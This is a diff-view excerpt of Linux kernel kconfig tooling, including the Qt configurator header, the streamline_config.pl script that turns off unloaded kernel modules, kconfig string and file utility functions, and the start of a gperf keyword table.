ConfigItem *item;
|
||||
};
|
||||
|
||||
class ConfigView : public Q3VBox {
|
||||
Q_OBJECT
|
||||
typedef class Q3VBox Parent;
|
||||
public:
|
||||
ConfigView(QWidget* parent, const char *name = 0);
|
||||
~ConfigView(void);
|
||||
static void updateList(ConfigItem* item);
|
||||
static void updateListAll(void);
|
||||
|
||||
bool showName(void) const { return list->showName; }
|
||||
bool showRange(void) const { return list->showRange; }
|
||||
bool showData(void) const { return list->showData; }
|
||||
public slots:
|
||||
void setShowName(bool);
|
||||
void setShowRange(bool);
|
||||
void setShowData(bool);
|
||||
void setOptionMode(QAction *);
|
||||
signals:
|
||||
void showNameChanged(bool);
|
||||
void showRangeChanged(bool);
|
||||
void showDataChanged(bool);
|
||||
public:
|
||||
ConfigList* list;
|
||||
ConfigLineEdit* lineEdit;
|
||||
|
||||
static ConfigView* viewList;
|
||||
ConfigView* nextView;
|
||||
|
||||
static QAction *showNormalAction;
|
||||
static QAction *showAllAction;
|
||||
static QAction *showPromptAction;
|
||||
};
|
||||
|
||||
class ConfigInfoView : public Q3TextBrowser {
|
||||
Q_OBJECT
|
||||
typedef class Q3TextBrowser Parent;
|
||||
public:
|
||||
ConfigInfoView(QWidget* parent, const char *name = 0);
|
||||
bool showDebug(void) const { return _showDebug; }
|
||||
|
||||
public slots:
|
||||
void setInfo(struct menu *menu);
|
||||
void saveSettings(void);
|
||||
void setShowDebug(bool);
|
||||
|
||||
signals:
|
||||
void showDebugChanged(bool);
|
||||
void menuSelected(struct menu *);
|
||||
|
||||
protected:
|
||||
void symbolInfo(void);
|
||||
void menuInfo(void);
|
||||
QString debug_info(struct symbol *sym);
|
||||
static QString print_filter(const QString &str);
|
||||
static void expr_print_help(void *data, struct symbol *sym, const char *str);
|
||||
Q3PopupMenu* createPopupMenu(const QPoint& pos);
|
||||
void contentsContextMenuEvent(QContextMenuEvent *e);
|
||||
|
||||
struct symbol *sym;
|
||||
struct menu *_menu;
|
||||
bool _showDebug;
|
||||
};
|
||||
|
||||
class ConfigSearchWindow : public QDialog {
|
||||
Q_OBJECT
|
||||
typedef class QDialog Parent;
|
||||
public:
|
||||
ConfigSearchWindow(ConfigMainWindow* parent, const char *name = 0);
|
||||
|
||||
public slots:
|
||||
void saveSettings(void);
|
||||
void search(void);
|
||||
|
||||
protected:
|
||||
QLineEdit* editField;
|
||||
QPushButton* searchButton;
|
||||
QSplitter* split;
|
||||
ConfigView* list;
|
||||
ConfigInfoView* info;
|
||||
|
||||
struct symbol **result;
|
||||
};
|
||||
|
||||
class ConfigMainWindow : public Q3MainWindow {
|
||||
Q_OBJECT
|
||||
|
||||
static Q3Action *saveAction;
|
||||
static void conf_changed(void);
|
||||
public:
|
||||
ConfigMainWindow(void);
|
||||
public slots:
|
||||
void changeMenu(struct menu *);
|
||||
void setMenuLink(struct menu *);
|
||||
void listFocusChanged(void);
|
||||
void goBack(void);
|
||||
void loadConfig(void);
|
||||
bool saveConfig(void);
|
||||
void saveConfigAs(void);
|
||||
void searchConfig(void);
|
||||
void showSingleView(void);
|
||||
void showSplitView(void);
|
||||
void showFullView(void);
|
||||
void showIntro(void);
|
||||
void showAbout(void);
|
||||
void saveSettings(void);
|
||||
|
||||
protected:
|
||||
void closeEvent(QCloseEvent *e);
|
||||
|
||||
ConfigSearchWindow *searchWindow;
|
||||
ConfigView *menuView;
|
||||
ConfigList *menuList;
|
||||
ConfigView *configView;
|
||||
ConfigList *configList;
|
||||
ConfigInfoView *helpText;
|
||||
Q3ToolBar *toolBar;
|
||||
Q3Action *backAction;
|
||||
QSplitter* split1;
|
||||
QSplitter* split2;
|
||||
};
|
@ -0,0 +1,640 @@
|
||||
#!/usr/bin/perl -w
|
||||
#
|
||||
# Copyright 2005-2009 - Steven Rostedt
|
||||
# Licensed under the terms of the GNU GPL License version 2
|
||||
#
|
||||
# It's simple enough to figure out how this works.
|
||||
# If not, then you can ask me at stripconfig@goodmis.org
|
||||
#
|
||||
# What it does?
|
||||
#
|
||||
# If you have installed a Linux kernel from a distribution
|
||||
# that turns on way too many modules than you need, and
|
||||
# you only want the modules you use, then this program
|
||||
# is perfect for you.
|
||||
#
|
||||
# It gives you the ability to turn off all the modules that are
|
||||
# not loaded on your system.
|
||||
#
|
||||
# Howto:
|
||||
#
|
||||
# 1. Boot up the kernel that you want to stream line the config on.
|
||||
# 2. Change directory to the directory holding the source of the
|
||||
# kernel that you just booted.
|
||||
# 3. Copy the configuraton file to this directory as .config
|
||||
# 4. Have all your devices that you need modules for connected and
|
||||
# operational (make sure that their corresponding modules are loaded)
|
||||
# 5. Run this script redirecting the output to some other file
|
||||
# like config_strip.
|
||||
# 6. Back up your old config (if you want too).
|
||||
# 7. copy the config_strip file to .config
|
||||
# 8. Run "make oldconfig"
|
||||
#
|
||||
# Now your kernel is ready to be built with only the modules that
|
||||
# are loaded.
|
||||
#
|
||||
# Here's what I did with my Debian distribution.
|
||||
#
|
||||
# cd /usr/src/linux-2.6.10
|
||||
# cp /boot/config-2.6.10-1-686-smp .config
|
||||
# ~/bin/streamline_config > config_strip
|
||||
# mv .config config_sav
|
||||
# mv config_strip .config
|
||||
# make oldconfig
|
||||
#
|
||||
use strict;
|
||||
use Getopt::Long;
|
||||
|
||||
# set the environment variable LOCALMODCONFIG_DEBUG to get
|
||||
# debug output.
|
||||
my $debugprint = 0;
|
||||
$debugprint = 1 if (defined($ENV{LOCALMODCONFIG_DEBUG}));
|
||||
|
||||
sub dprint {
|
||||
return if (!$debugprint);
|
||||
print STDERR @_;
|
||||
}
|
||||
|
||||
my $config = ".config";
|
||||
|
||||
my $uname = `uname -r`;
|
||||
chomp $uname;
|
||||
|
||||
my @searchconfigs = (
|
||||
{
|
||||
"file" => ".config",
|
||||
"exec" => "cat",
|
||||
},
|
||||
{
|
||||
"file" => "/proc/config.gz",
|
||||
"exec" => "zcat",
|
||||
},
|
||||
{
|
||||
"file" => "/boot/config-$uname",
|
||||
"exec" => "cat",
|
||||
},
|
||||
{
|
||||
"file" => "/boot/vmlinuz-$uname",
|
||||
"exec" => "scripts/extract-ikconfig",
|
||||
"test" => "scripts/extract-ikconfig",
|
||||
},
|
||||
{
|
||||
"file" => "vmlinux",
|
||||
"exec" => "scripts/extract-ikconfig",
|
||||
"test" => "scripts/extract-ikconfig",
|
||||
},
|
||||
{
|
||||
"file" => "/lib/modules/$uname/kernel/kernel/configs.ko",
|
||||
"exec" => "scripts/extract-ikconfig",
|
||||
"test" => "scripts/extract-ikconfig",
|
||||
},
|
||||
{
|
||||
"file" => "kernel/configs.ko",
|
||||
"exec" => "scripts/extract-ikconfig",
|
||||
"test" => "scripts/extract-ikconfig",
|
||||
},
|
||||
{
|
||||
"file" => "kernel/configs.o",
|
||||
"exec" => "scripts/extract-ikconfig",
|
||||
"test" => "scripts/extract-ikconfig",
|
||||
},
|
||||
);
|
||||
|
||||
sub read_config {
|
||||
foreach my $conf (@searchconfigs) {
|
||||
my $file = $conf->{"file"};
|
||||
|
||||
next if ( ! -f "$file");
|
||||
|
||||
if (defined($conf->{"test"})) {
|
||||
`$conf->{"test"} $conf->{"file"} 2>/dev/null`;
|
||||
next if ($?);
|
||||
}
|
||||
|
||||
my $exec = $conf->{"exec"};
|
||||
|
||||
print STDERR "using config: '$file'\n";
|
||||
|
||||
open(my $infile, '-|', "$exec $file") || die "Failed to run $exec $file";
|
||||
my @x = <$infile>;
|
||||
close $infile;
|
||||
return @x;
|
||||
}
|
||||
die "No config file found";
|
||||
}
|
||||
|
||||
my @config_file = read_config;
|
||||
|
||||
# Parse options
|
||||
my $localmodconfig = 0;
|
||||
my $localyesconfig = 0;
|
||||
|
||||
GetOptions("localmodconfig" => \$localmodconfig,
|
||||
"localyesconfig" => \$localyesconfig);
|
||||
|
||||
# Get the build source and top level Kconfig file (passed in)
|
||||
my $ksource = ($ARGV[0] ? $ARGV[0] : '.');
|
||||
my $kconfig = $ARGV[1];
|
||||
my $lsmod_file = $ENV{'LSMOD'};
|
||||
|
||||
my @makefiles = `find $ksource -name Makefile 2>/dev/null`;
|
||||
chomp @makefiles;
|
||||
|
||||
my %depends;
|
||||
my %selects;
|
||||
my %prompts;
|
||||
my %objects;
|
||||
my $var;
|
||||
my $iflevel = 0;
|
||||
my @ifdeps;
|
||||
|
||||
# prevent recursion
|
||||
my %read_kconfigs;
|
||||
|
||||
sub read_kconfig {
|
||||
my ($kconfig) = @_;
|
||||
|
||||
my $state = "NONE";
|
||||
my $config;
|
||||
|
||||
my $cont = 0;
|
||||
my $line;
|
||||
|
||||
my $source = "$ksource/$kconfig";
|
||||
my $last_source = "";
|
||||
|
||||
# Check for any environment variables used
|
||||
while ($source =~ /\$(\w+)/ && $last_source ne $source) {
|
||||
my $env = $1;
|
||||
$last_source = $source;
|
||||
$source =~ s/\$$env/$ENV{$env}/;
|
||||
}
|
||||
|
||||
open(my $kinfile, '<', $source) || die "Can't open $kconfig";
|
||||
while (<$kinfile>) {
|
||||
chomp;
|
||||
|
||||
# Make sure that lines ending with \ continue
|
||||
if ($cont) {
|
||||
$_ = $line . " " . $_;
|
||||
}
|
||||
|
||||
if (s/\\$//) {
|
||||
$cont = 1;
|
||||
$line = $_;
|
||||
next;
|
||||
}
|
||||
|
||||
$cont = 0;
|
||||
|
||||
# collect any Kconfig sources
|
||||
if (/^source\s*"(.*)"/) {
|
||||
my $kconfig = $1;
|
||||
# prevent reading twice.
|
||||
if (!defined($read_kconfigs{$kconfig})) {
|
||||
$read_kconfigs{$kconfig} = 1;
|
||||
read_kconfig($kconfig);
|
||||
}
|
||||
next;
|
||||
}
|
||||
|
||||
# configs found
|
||||
if (/^\s*(menu)?config\s+(\S+)\s*$/) {
|
||||
$state = "NEW";
|
||||
$config = $2;
|
||||
|
||||
# Add depends for 'if' nesting
|
||||
for (my $i = 0; $i < $iflevel; $i++) {
|
||||
if ($i) {
|
||||
$depends{$config} .= " " . $ifdeps[$i];
|
||||
} else {
|
||||
$depends{$config} = $ifdeps[$i];
|
||||
}
|
||||
$state = "DEP";
|
||||
}
|
||||
|
||||
# collect the depends for the config
|
||||
} elsif ($state eq "NEW" && /^\s*depends\s+on\s+(.*)$/) {
|
||||
$state = "DEP";
|
||||
$depends{$config} = $1;
|
||||
} elsif ($state eq "DEP" && /^\s*depends\s+on\s+(.*)$/) {
|
||||
$depends{$config} .= " " . $1;
|
||||
|
||||
# Get the configs that select this config
|
||||
} elsif ($state ne "NONE" && /^\s*select\s+(\S+)/) {
|
||||
my $conf = $1;
|
||||
if (defined($selects{$conf})) {
|
||||
$selects{$conf} .= " " . $config;
|
||||
} else {
|
||||
$selects{$conf} = $config;
|
||||
}
|
||||
|
||||
# configs without prompts must be selected
|
||||
} elsif ($state ne "NONE" && /^\s*tristate\s\S/) {
|
||||
# note if the config has a prompt
|
||||
$prompts{$config} = 1;
|
||||
|
||||
# Check for if statements
|
||||
} elsif (/^if\s+(.*\S)\s*$/) {
|
||||
my $deps = $1;
|
||||
# remove beginning and ending non text
|
||||
$deps =~ s/^[^a-zA-Z0-9_]*//;
|
||||
$deps =~ s/[^a-zA-Z0-9_]*$//;
|
||||
|
||||
my @deps = split /[^a-zA-Z0-9_]+/, $deps;
|
||||
|
||||
$ifdeps[$iflevel++] = join ':', @deps;
|
||||
|
||||
} elsif (/^endif/) {
|
||||
|
||||
$iflevel-- if ($iflevel);
|
||||
|
||||
# stop on "help"
|
||||
} elsif (/^\s*help\s*$/) {
|
||||
$state = "NONE";
|
||||
}
|
||||
}
|
||||
close($kinfile);
|
||||
}
|
||||
|
||||
if ($kconfig) {
|
||||
read_kconfig($kconfig);
|
||||
}
|
||||
|
||||
# Makefiles can use variables to define their dependencies
|
||||
sub convert_vars {
|
||||
my ($line, %vars) = @_;
|
||||
|
||||
my $process = "";
|
||||
|
||||
while ($line =~ s/^(.*?)(\$\((.*?)\))//) {
|
||||
my $start = $1;
|
||||
my $variable = $2;
|
||||
my $var = $3;
|
||||
|
||||
if (defined($vars{$var})) {
|
||||
$process .= $start . $vars{$var};
|
||||
} else {
|
||||
$process .= $start . $variable;
|
||||
}
|
||||
}
|
||||
|
||||
$process .= $line;
|
||||
|
||||
return $process;
|
||||
}
|
||||
|
||||
# Read all Makefiles to map the configs to the objects
|
||||
foreach my $makefile (@makefiles) {
|
||||
|
||||
my $line = "";
|
||||
my %make_vars;
|
||||
|
||||
open(my $infile, '<', $makefile) || die "Can't open $makefile";
|
||||
while (<$infile>) {
|
||||
# if this line ends with a backslash, continue
|
||||
chomp;
|
||||
if (/^(.*)\\$/) {
|
||||
$line .= $1;
|
||||
next;
|
||||
}
|
||||
|
||||
$line .= $_;
|
||||
$_ = $line;
|
||||
$line = "";
|
||||
|
||||
my $objs;
|
||||
|
||||
# Convert variables in a line (could define configs)
|
||||
$_ = convert_vars($_, %make_vars);
|
||||
|
||||
# collect objects after obj-$(CONFIG_FOO_BAR)
|
||||
if (/obj-\$\((CONFIG_[^\)]*)\)\s*[+:]?=\s*(.*)/) {
|
||||
$var = $1;
|
||||
$objs = $2;
|
||||
|
||||
# check if variables are set
|
||||
} elsif (/^\s*(\S+)\s*[:]?=\s*(.*\S)/) {
|
||||
$make_vars{$1} = $2;
|
||||
}
|
||||
if (defined($objs)) {
|
||||
foreach my $obj (split /\s+/,$objs) {
|
||||
$obj =~ s/-/_/g;
|
||||
if ($obj =~ /(.*)\.o$/) {
|
||||
# Objects may be enabled by more than one config.
|
||||
# Store configs in an array.
|
||||
my @arr;
|
||||
|
||||
if (defined($objects{$1})) {
|
||||
@arr = @{$objects{$1}};
|
||||
}
|
||||
|
||||
$arr[$#arr+1] = $var;
|
||||
|
||||
# The objects have a hash mapping to a reference
|
||||
# of an array of configs.
|
||||
$objects{$1} = \@arr;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
close($infile);
|
||||
}
|
||||
|
||||
my %modules;
|
||||
my $linfile;
|
||||
|
||||
if (defined($lsmod_file)) {
|
||||
if ( ! -f $lsmod_file) {
|
||||
if ( -f $ENV{'objtree'}."/".$lsmod_file) {
|
||||
$lsmod_file = $ENV{'objtree'}."/".$lsmod_file;
|
||||
} else {
|
||||
die "$lsmod_file not found";
|
||||
}
|
||||
}
|
||||
|
||||
my $otype = ( -x $lsmod_file) ? '-|' : '<';
|
||||
open($linfile, $otype, $lsmod_file);
|
||||
|
||||
} else {
|
||||
|
||||
# see what modules are loaded on this system
|
||||
my $lsmod;
|
||||
|
||||
foreach my $dir ( ("/sbin", "/bin", "/usr/sbin", "/usr/bin") ) {
|
||||
if ( -x "$dir/lsmod" ) {
|
||||
$lsmod = "$dir/lsmod";
|
||||
last;
|
||||
}
|
||||
}
|
||||
if (!defined($lsmod)) {
|
||||
# try just the path
|
||||
$lsmod = "lsmod";
|
||||
}
|
||||
|
||||
open($linfile, '-|', $lsmod) || die "Can not call lsmod with $lsmod";
|
||||
}
|
||||
|
||||
while (<$linfile>) {
|
||||
next if (/^Module/); # Skip the first line.
|
||||
if (/^(\S+)/) {
|
||||
$modules{$1} = 1;
|
||||
}
|
||||
}
|
||||
close ($linfile);
|
||||
|
||||
# add to the configs hash all configs that are needed to enable
|
||||
# a loaded module. This is a direct obj-${CONFIG_FOO} += bar.o
|
||||
# where we know we need bar.o so we add FOO to the list.
|
||||
my %configs;
|
||||
foreach my $module (keys(%modules)) {
|
||||
if (defined($objects{$module})) {
|
||||
my @arr = @{$objects{$module}};
|
||||
foreach my $conf (@arr) {
|
||||
$configs{$conf} = $module;
|
||||
dprint "$conf added by direct ($module)\n";
|
||||
if ($debugprint) {
|
||||
my $c=$conf;
|
||||
$c =~ s/^CONFIG_//;
|
||||
if (defined($depends{$c})) {
|
||||
dprint " deps = $depends{$c}\n";
|
||||
} else {
|
||||
dprint " no deps\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
# Most likely, someone has a custom (binary?) module loaded.
|
||||
print STDERR "$module config not found!!\n";
|
||||
}
|
||||
}
|
||||
|
||||
# Read the current config, and see what is enabled. We want to
|
||||
# ignore configs that we would not enable anyway.
|
||||
|
||||
my %orig_configs;
|
||||
my $valid = "A-Za-z_0-9";
|
||||
|
||||
foreach my $line (@config_file) {
|
||||
$_ = $line;
|
||||
|
||||
if (/(CONFIG_[$valid]*)=(m|y)/) {
|
||||
$orig_configs{$1} = $2;
|
||||
}
|
||||
}
|
||||
|
||||
my $repeat = 1;
|
||||
|
||||
my $depconfig;
|
||||
|
||||
#
|
||||
# Note, we do not care about operands (like: &&, ||, !) we want to add any
|
||||
# config that is in the depend list of another config. This script does
|
||||
# not enable configs that are not already enabled. If we come across a
|
||||
# config A that depends on !B, we can still add B to the list of depends
|
||||
# to keep on. If A was on in the original config, B would not have been
|
||||
# and B would not be turned on by this script.
|
||||
#
|
||||
sub parse_config_depends
|
||||
{
|
||||
my ($p) = @_;
|
||||
|
||||
while ($p =~ /[$valid]/) {
|
||||
|
||||
if ($p =~ /^[^$valid]*([$valid]+)/) {
|
||||
my $conf = "CONFIG_" . $1;
|
||||
|
||||
$p =~ s/^[^$valid]*[$valid]+//;
|
||||
|
||||
# We only need to process if the depend config is a module
|
||||
if (!defined($orig_configs{$conf}) || !$orig_configs{conf} eq "m") {
|
||||
next;
|
||||
}
|
||||
|
||||
if (!defined($configs{$conf})) {
|
||||
# We must make sure that this config has its
|
||||
# dependencies met.
|
||||
$repeat = 1; # do again
|
||||
dprint "$conf selected by depend $depconfig\n";
|
||||
$configs{$conf} = 1;
|
||||
}
|
||||
} else {
|
||||
die "this should never happen";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Select is treated a bit differently than depends. We call this
|
||||
# when a config has no prompt and requires another config to be
|
||||
# selected. We use to just select all configs that selected this
|
||||
# config, but found that that can balloon into enabling hundreds
|
||||
# of configs that we do not care about.
|
||||
#
|
||||
# The idea is we look at all the configs that select it. If one
|
||||
# is already in our list of configs to enable, then there's nothing
|
||||
# else to do. If there isn't, we pick the first config that was
|
||||
# enabled in the orignal config and use that.
|
||||
sub parse_config_selects
|
||||
{
|
||||
my ($config, $p) = @_;
|
||||
|
||||
my $next_config;
|
||||
|
||||
while ($p =~ /[$valid]/) {
|
||||
|
||||
if ($p =~ /^[^$valid]*([$valid]+)/) {
|
||||
my $conf = "CONFIG_" . $1;
|
||||
|
||||
$p =~ s/^[^$valid]*[$valid]+//;
|
||||
|
||||
# Make sure that this config exists in the current .config file
|
||||
if (!defined($orig_configs{$conf})) {
|
||||
dprint "$conf not set for $config select\n";
|
||||
next;
|
||||
}
|
||||
|
||||
# Check if something other than a module selects this config
|
||||
if (defined($orig_configs{$conf}) && $orig_configs{$conf} ne "m") {
|
||||
dprint "$conf (non module) selects config, we are good\n";
|
||||
# we are good with this
|
||||
return;
|
||||
}
|
||||
if (defined($configs{$conf})) {
|
||||
dprint "$conf selects $config so we are good\n";
|
||||
# A set config selects this config, we are good
|
||||
return;
|
||||
}
|
||||
# Set this config to be selected
|
||||
if (!defined($next_config)) {
|
||||
$next_config = $conf;
|
||||
}
|
||||
} else {
|
||||
die "this should never happen";
|
||||
}
|
||||
}
|
||||
|
||||
# If no possible config selected this, then something happened.
|
||||
if (!defined($next_config)) {
|
||||
print STDERR "WARNING: $config is required, but nothing in the\n";
|
||||
print STDERR " current config selects it.\n";
|
||||
return;
|
||||
}
|
||||
|
||||
# If we are here, then we found no config that is set and
|
||||
# selects this config. Repeat.
|
||||
$repeat = 1;
|
||||
# Make this config need to be selected
|
||||
$configs{$next_config} = 1;
|
||||
dprint "$next_config selected by select $config\n";
|
||||
}
|
||||
|
||||
my %process_selects;
|
||||
|
||||
# loop through all configs, select their dependencies.
|
||||
sub loop_depend {
|
||||
$repeat = 1;
|
||||
|
||||
while ($repeat) {
|
||||
$repeat = 0;
|
||||
|
||||
forloop:
|
||||
foreach my $config (keys %configs) {
|
||||
|
||||
# If this config is not a module, we do not need to process it
|
||||
if (defined($orig_configs{$config}) && $orig_configs{$config} ne "m") {
|
||||
next forloop;
|
||||
}
|
||||
|
||||
$config =~ s/^CONFIG_//;
|
||||
$depconfig = $config;
|
||||
|
||||
if (defined($depends{$config})) {
|
||||
# This config has dependencies. Make sure they are also included
|
||||
parse_config_depends $depends{$config};
|
||||
}
|
||||
|
||||
# If the config has no prompt, then we need to check if a config
|
||||
# that is enabled selected it. Or if we need to enable one.
|
||||
if (!defined($prompts{$config}) && defined($selects{$config})) {
|
||||
$process_selects{$config} = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub loop_select {
|
||||
|
||||
foreach my $config (keys %process_selects) {
|
||||
$config =~ s/^CONFIG_//;
|
||||
|
||||
dprint "Process select $config\n";
|
||||
|
||||
# config has no prompt and must be selected.
|
||||
parse_config_selects $config, $selects{$config};
|
||||
}
|
||||
}
|
||||
|
||||
while ($repeat) {
|
||||
# Get the first set of configs and their dependencies.
|
||||
loop_depend;
|
||||
|
||||
$repeat = 0;
|
||||
|
||||
# Now we need to see if we have to check selects;
|
||||
loop_select;
|
||||
}
|
||||
|
||||
my %setconfigs;
|
||||
|
||||
# Finally, read the .config file and turn off any module enabled that
|
||||
# we could not find a reason to keep enabled.
|
||||
foreach my $line (@config_file) {
|
||||
$_ = $line;
|
||||
|
||||
if (/CONFIG_IKCONFIG/) {
|
||||
if (/# CONFIG_IKCONFIG is not set/) {
|
||||
# enable IKCONFIG at least as a module
|
||||
print "CONFIG_IKCONFIG=m\n";
|
||||
# don't ask about PROC
|
||||
print "# CONFIG_IKCONFIG_PROC is not set\n";
|
||||
} else {
|
||||
print;
|
||||
}
|
||||
next;
|
||||
}
|
||||
|
||||
if (/^(CONFIG.*)=(m|y)/) {
|
||||
if (defined($configs{$1})) {
|
||||
if ($localyesconfig) {
|
||||
$setconfigs{$1} = 'y';
|
||||
print "$1=y\n";
|
||||
next;
|
||||
} else {
|
||||
$setconfigs{$1} = $2;
|
||||
}
|
||||
} elsif ($2 eq "m") {
|
||||
print "# $1 is not set\n";
|
||||
next;
|
||||
}
|
||||
}
|
||||
print;
|
||||
}
|
||||
|
||||
# Integrity check, make sure all modules that we want enabled do
|
||||
# indeed have their configs set.
|
||||
loop:
|
||||
foreach my $module (keys(%modules)) {
|
||||
if (defined($objects{$module})) {
|
||||
my @arr = @{$objects{$module}};
|
||||
foreach my $conf (@arr) {
|
||||
if (defined($setconfigs{$conf})) {
|
||||
next loop;
|
||||
}
|
||||
}
|
||||
print STDERR "module $module did not have configs";
|
||||
foreach my $conf (@arr) {
|
||||
print STDERR " " , $conf;
|
||||
}
|
||||
print STDERR "\n";
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,171 @@
|
||||
/*
|
||||
* Copyright (C) 2002-2005 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Copyright (C) 2002-2005 Sam Ravnborg <sam@ravnborg.org>
|
||||
*
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "lkc.h"
|
||||
|
||||
/* file already present in list? If not add it */
|
||||
struct file *file_lookup(const char *name)
|
||||
{
|
||||
struct file *file;
|
||||
const char *file_name = sym_expand_string_value(name);
|
||||
|
||||
for (file = file_list; file; file = file->next) {
|
||||
if (!strcmp(name, file->name)) {
|
||||
free((void *)file_name);
|
||||
return file;
|
||||
}
|
||||
}
|
||||
|
||||
file = xmalloc(sizeof(*file));
|
||||
memset(file, 0, sizeof(*file));
|
||||
file->name = file_name;
|
||||
file->next = file_list;
|
||||
file_list = file;
|
||||
return file;
|
||||
}
|
||||
|
||||
/* write a dependency file as used by kbuild to track dependencies */
|
||||
int file_write_dep(const char *name)
|
||||
{
|
||||
char *str;
|
||||
char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1];
|
||||
struct symbol *sym, *env_sym;
|
||||
struct expr *e;
|
||||
struct file *file;
|
||||
FILE *out;
|
||||
|
||||
if (!name)
|
||||
name = ".kconfig.d";
|
||||
|
||||
strcpy(dir, conf_get_configname());
|
||||
str = strrchr(dir, '/');
|
||||
if (str)
|
||||
str[1] = 0;
|
||||
else
|
||||
dir[0] = 0;
|
||||
|
||||
sprintf(buf, "%s..config.tmp", dir);
|
||||
out = fopen(buf, "w");
|
||||
if (!out)
|
||||
return 1;
|
||||
fprintf(out, "deps_config := \\\n");
|
||||
for (file = file_list; file; file = file->next) {
|
||||
if (file->next)
|
||||
fprintf(out, "\t%s \\\n", file->name);
|
||||
else
|
||||
fprintf(out, "\t%s\n", file->name);
|
||||
}
|
||||
fprintf(out, "\n%s: \\\n"
|
||||
"\t$(deps_config)\n\n", conf_get_autoconfig_name());
|
||||
|
||||
expr_list_for_each_sym(sym_env_list, e, sym) {
|
||||
struct property *prop;
|
||||
const char *value;
|
||||
|
||||
prop = sym_get_env_prop(sym);
|
||||
env_sym = prop_get_symbol(prop);
|
||||
if (!env_sym)
|
||||
continue;
|
||||
value = getenv(env_sym->name);
|
||||
if (!value)
|
||||
value = "";
|
||||
fprintf(out, "ifneq \"$(%s)\" \"%s\"\n", env_sym->name, value);
|
||||
fprintf(out, "%s: FORCE\n", conf_get_autoconfig_name());
|
||||
fprintf(out, "endif\n");
|
||||
}
|
||||
|
||||
fprintf(out, "\n$(deps_config): ;\n");
|
||||
fclose(out);
|
||||
sprintf(buf2, "%s%s", dir, name);
|
||||
rename(buf, buf2);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* Allocate initial growable string */
|
||||
struct gstr str_new(void)
|
||||
{
|
||||
struct gstr gs;
|
||||
gs.s = xmalloc(sizeof(char) * 64);
|
||||
gs.len = 64;
|
||||
gs.max_width = 0;
|
||||
strcpy(gs.s, "\0");
|
||||
return gs;
|
||||
}
|
||||
|
||||
/* Allocate and assign growable string */
|
||||
struct gstr str_assign(const char *s)
|
||||
{
|
||||
struct gstr gs;
|
||||
gs.s = strdup(s);
|
||||
gs.len = strlen(s) + 1;
|
||||
gs.max_width = 0;
|
||||
return gs;
|
||||
}
|
||||
|
||||
/* Free storage for growable string */
|
||||
void str_free(struct gstr *gs)
|
||||
{
|
||||
if (gs->s)
|
||||
free(gs->s);
|
||||
gs->s = NULL;
|
||||
gs->len = 0;
|
||||
}
|
||||
|
||||
/* Append to growable string */
|
||||
void str_append(struct gstr *gs, const char *s)
|
||||
{
|
||||
size_t l;
|
||||
if (s) {
|
||||
l = strlen(gs->s) + strlen(s) + 1;
|
||||
if (l > gs->len) {
|
||||
gs->s = realloc(gs->s, l);
|
||||
gs->len = l;
|
||||
}
|
||||
strcat(gs->s, s);
|
||||
}
|
||||
}
|
||||
|
||||
/* Append printf formatted string to growable string */
|
||||
void str_printf(struct gstr *gs, const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
char s[10000]; /* big enough... */
|
||||
va_start(ap, fmt);
|
||||
vsnprintf(s, sizeof(s), fmt, ap);
|
||||
str_append(gs, s);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
/* Retrieve value of growable string */
|
||||
const char *str_get(struct gstr *gs)
|
||||
{
|
||||
return gs->s;
|
||||
}
|
||||
|
||||
void *xmalloc(size_t size)
|
||||
{
|
||||
void *p = malloc(size);
|
||||
if (p)
|
||||
return p;
|
||||
fprintf(stderr, "Out of memory.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void *xcalloc(size_t nmemb, size_t size)
|
||||
{
|
||||
void *p = calloc(nmemb, size);
|
||||
if (p)
|
||||
return p;
|
||||
fprintf(stderr, "Out of memory.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
@ -0,0 +1,47 @@
|
||||
%language=ANSI-C
|
||||
%define hash-function-name kconf_id_hash
|
||||
%define lookup-function-name kconf_id_lookup
|
||||
%define string-pool-name kconf_id_strings
|
||||
%compare-strncmp
|
||||
%enum
|
||||
%pic
|
||||
%struct-type
|
||||
|
||||
struct kconf_id;
|
||||
|
||||
static const struct kconf_id *kconf_id_lookup(register const char *str, register unsigned int len);
|
||||
|
||||
%%
|
||||
mainmenu, T_MAINMENU, TF_COMMAND
|
||||
menu, T_MENU, TF_COMMAND
|
||||
endmenu, T_ENDMENU, TF_COMMAND
|
||||
source, T_SOURCE, TF_COMMAND
|
||||
choice, T_CHOICE, TF_COMMAND
|
||||
endchoice, T_ENDCHOICE, TF_COMMAND
|
||||
comment, T_COMMENT, TF_COMMAND
|
||||
config, T_CONFIG, TF_COMMAND
|
||||
menuconfig, T_MENUCONFIG, TF_COMMAND
|
||||
help, T_HELP, TF_COMMAND
|
||||
if, T_IF, TF_COMMAND|TF_PARAM
|
||||
endif, T_ENDIF, TF_COMMAND
|
||||
depends, T_DEPENDS, TF_COMMAND
|
||||
optional, T_OPTIONAL, TF_COMMAND
|
||||
default, T_DEFAULT, TF_COMMAND, S_UNKNOWN
|
||||
prompt, T_PROMPT, TF_COMMAND
|
||||
tristate, T_TYPE, TF_COMMAND, S_TRISTATE
|
||||
def_tristate, T_DEFAULT, TF_COMMAND, S_TRISTATE
|
||||
bool, T_TYPE, TF_COMMAND, S_BOOLEAN
|
||||
boolean, T_TYPE, TF_COMMAND, S_BOOLEAN
|
||||
def_bool, T_DEFAULT, TF_COMMAND, S_BOOLEAN
|
||||
int, T_TYPE, TF_COMMAND, S_INT
|
||||
hex, T_TYPE, TF_COMMAND, S_HEX
|
||||
string, T_TYPE, TF_COMMAND, S_STRING
|
||||
select, T_SELECT, TF_COMMAND
|
||||
range, T_RANGE, TF_COMMAND
|
||||
visible, T_VISIBLE, TF_COMMAND
|
||||
option, T_OPTION, TF_COMMAND
|
||||
on, T_ON, TF_PARAM
|
||||
